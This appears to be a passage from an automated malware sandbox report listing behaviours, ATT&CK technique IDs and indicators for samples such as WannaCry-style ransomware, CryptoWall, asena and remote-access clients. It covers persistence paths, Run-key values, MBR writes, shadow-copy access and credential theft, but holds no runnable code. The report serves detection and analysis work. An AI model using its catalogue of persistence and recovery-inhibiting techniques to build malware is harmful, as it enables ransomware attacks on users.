10416	powershell.exe
15784	powershell.exe
10508	powershell.exe
3024	powershell.exe
1480	powershell.exe
12304	powershell.exe
72	powershell.exe
880	powershell.exe
14040	powershell.exe
16068	powershell.exe
8104	powershell.exe
12596	powershell.exe
15028	powershell.exe
6800	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
11	5524	4363463463464363463463463.exe
11	5524	4363463463464363463463463.exe
11	5524	4363463463464363463463463.exe
3	5524	4363463463464363463463463.exe
49	5524	4363463463464363463463463.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD9CC5.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD9CDB.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cf4d0a0b.exe	explorer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_292FBD50.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cf4d0a0b.exe	explorer.exe

Executes dropped EXE 49 IoCs

pid	Process
4464	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
5736	Cry.exe
5040	tcping.exe
5076	paping.exe
2732	taskdl.exe
5524	4363463463464363463463463.exe
1732	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
2696	asena.exe
772	Bomb.exe
664	CryptoWall.exe
4732	cf4d0a0b.exe
3940	cf4d0a0b.exe
3084	25.exe
1652	24.exe
6100	23.exe
5352	22.exe
4540	21.exe
1452	20.exe
4496	19.exe
4820	18.exe
2464	17.exe
6128	16.exe
4944	15.exe
328	14.exe
924	13.exe
3584	12.exe
1464	11.exe
5188	10.exe
2820	9.exe
1832	8.exe
5344	7.exe
5592	6.exe
3928	5.exe
5088	4.exe
5668	3.exe
3152	0VbSWAs.exe
4732	2.exe
3708	1.exe
1100	Client-built.exe
872	AsyncClient.exe
3764	client.exe
6272	XClient.exe
9544	@[email protected]
10496	taskhsvc.exe
7500	@[email protected]
10408	taskse.exe
10544	@[email protected]
4348	taskdl.exe
11256	spoitor.exe

Loads dropped DLL 16 IoCs

pid	Process
4932	MsiExec.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
2908	rundll32.exe
10496	taskhsvc.exe
10496	taskhsvc.exe
10496	taskhsvc.exe
10496	taskhsvc.exe
10496	taskhsvc.exe
10496	taskhsvc.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4144	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1283078542-320785498-2248628612-1000\Software\Microsoft\Windows\CurrentVersion\Run\cf4d0a0 = "C:\\cf4d0a0b\\cf4d0a0b.exe"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1283078542-320785498-2248628612-1000\Software\Microsoft\Windows\CurrentVersion\Run\cf4d0a0b = "C:\\Users\\Admin\\AppData\\Roaming\\cf4d0a0b.exe"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\miphxibwtkpmxvv603 = "\"C:\\Users\\Admin\\AppData\\Roaming\\tasksche.exe\""	reg.exe

Enumerates connected drives 3 TTPs 45 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	asena.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
11	raw.githubusercontent.com
61924	raw.githubusercontent.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com
61889	ip-addr.es
1	ip-addr.es
5	ip-addr.es

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	asena.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1283078542-320785498-2248628612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1283078542-320785498-2248628612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00020000000188f1-25966.dat	upx
behavioral2/memory/7892-25968-0x0000000000D10000-0x0000000001890000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherAppList.targetsize-16.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.0.41182.0_x64__8wekyb3d8bbwe\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-amd\components\DocumentCard\DocumentCardDetails.base.js	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\ui-strings.js	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_10.2.41172.0_x64__8wekyb3d8bbwe\Assets\TipsAppList.targetsize-20_altform-unplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.32731.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-60_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\Images\StoreLogo.scale-400.png	asena.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.40831.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-60_altform-unplated_contrast-white.png	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.21012.10511.0_x64__8wekyb3d8bbwe\Assets\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-amd\Icons.js	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon_hover_2x.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\es-es\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\ResiliencyLinks\Locales\af.pak.DATA	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\cs-cz\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\Locales\mi.pak	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.GamingApp_2105.900.24.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Xbox_SplashScreen.scale-100_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.65.0_x64__8wekyb3d8bbwe\Images\contrast-white\PowerAutomateSquare70x70Logo.scale-180.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\OutlookMailBadge.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-amd\components\DetailsList\DetailsList.types.js	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\NewsAppList.targetsize-16_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.2.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Icons\StickyNotesSplashScreen.scale-100_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_12104.1001.1.0_x64__8wekyb3d8bbwe\Assets\AppTiles\LibrarySquare150x150Logo.scale-200.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-amd\components\GroupedList\GroupedListSection.js	asena.exe
File created	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\node_modules\@microsoft\load-themed-styles\lib-es6\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateDCFiles_280x192.svg	asena.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\ado\msado28.tlb	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\WeatherAppList.targetsize-32_altform-lightunplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.scale-400.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\CardUIBkg.scale-125.HCBlack.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_10.2102.13.0_x64__8wekyb3d8bbwe\Assets\NotepadWideTile.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.21012.10511.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-64_altform-unplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\s_radio_unselected_18.svg	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_checkbox_selected_18.svg	asena.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\net.properties	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\trdtv2r41.xsl	asena.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.Paint_10.2104.17.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-black\PaintAppList.scale-125.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.32731.0_x64__8wekyb3d8bbwe\Assets\contrast-black\BadgeLogo.scale-150_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\BeOfType.Tests.ps1	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-80_altform-lightunplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_2.50.24002.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\GameBar_SmallTile.scale-100.png	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h	asena.exe
File created	C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_12008.1001.1.0_x64__8wekyb3d8bbwe\Assets\AppTiles\RGNR_292FBD50.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-16.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\AppIcon.targetsize-96_altform-lightunplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\react\lib-commonjs\Color.js	asena.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\main\ko-kr.xml	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019VL_MAK_AE-ul-oob.xrm-ms	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2106.2807.0_x64__8wekyb3d8bbwe\Assets\Images\pptx.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.40978.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-20_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-48_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-256_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\bg6_thumb.png	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down-pressed.gif	asena.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.6.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\NewsAppList.targetsize-60_altform-lightunplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.40978.0_x64__8wekyb3d8bbwe\Assets\contrast-black\SmallTile.scale-100_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.targetsize-16_altform-lightunplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\theme\node_modules\@uifabric\utilities\lib\dom\setVirtualParent.js	asena.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoWall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0VbSWAs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tcping.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	250511-ab4waaszhx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cry.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cf4d0a0b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cf4d0a0b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoitor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskdl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 11 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
16328	PING.EXE
11292	PING.EXE
11444	PING.EXE
5040	tcping.exe
5076	paping.exe
14500	PING.EXE
15064	PING.EXE
9700	PING.EXE
9052	PING.EXE
8896	PING.EXE
9404	PING.EXE

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b88de061c2e70c0c0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000b88de0610000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900b88de061000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1db88de061000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b88de06100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b88de061c2e70c0c0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000b88de0610000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900b88de061000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1db88de061000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b88de06100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3168	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
756	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
7244	notepad.exe

Runs ping.exe 1 TTPs 9 IoCs

Remote System Discovery

T1018

pid	Process
11444	PING.EXE
8896	PING.EXE
14500	PING.EXE
9404	PING.EXE
15064	PING.EXE
9052	PING.EXE
11292	PING.EXE
16328	PING.EXE
9700	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
14740	schtasks.exe
756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2920	svchost.exe
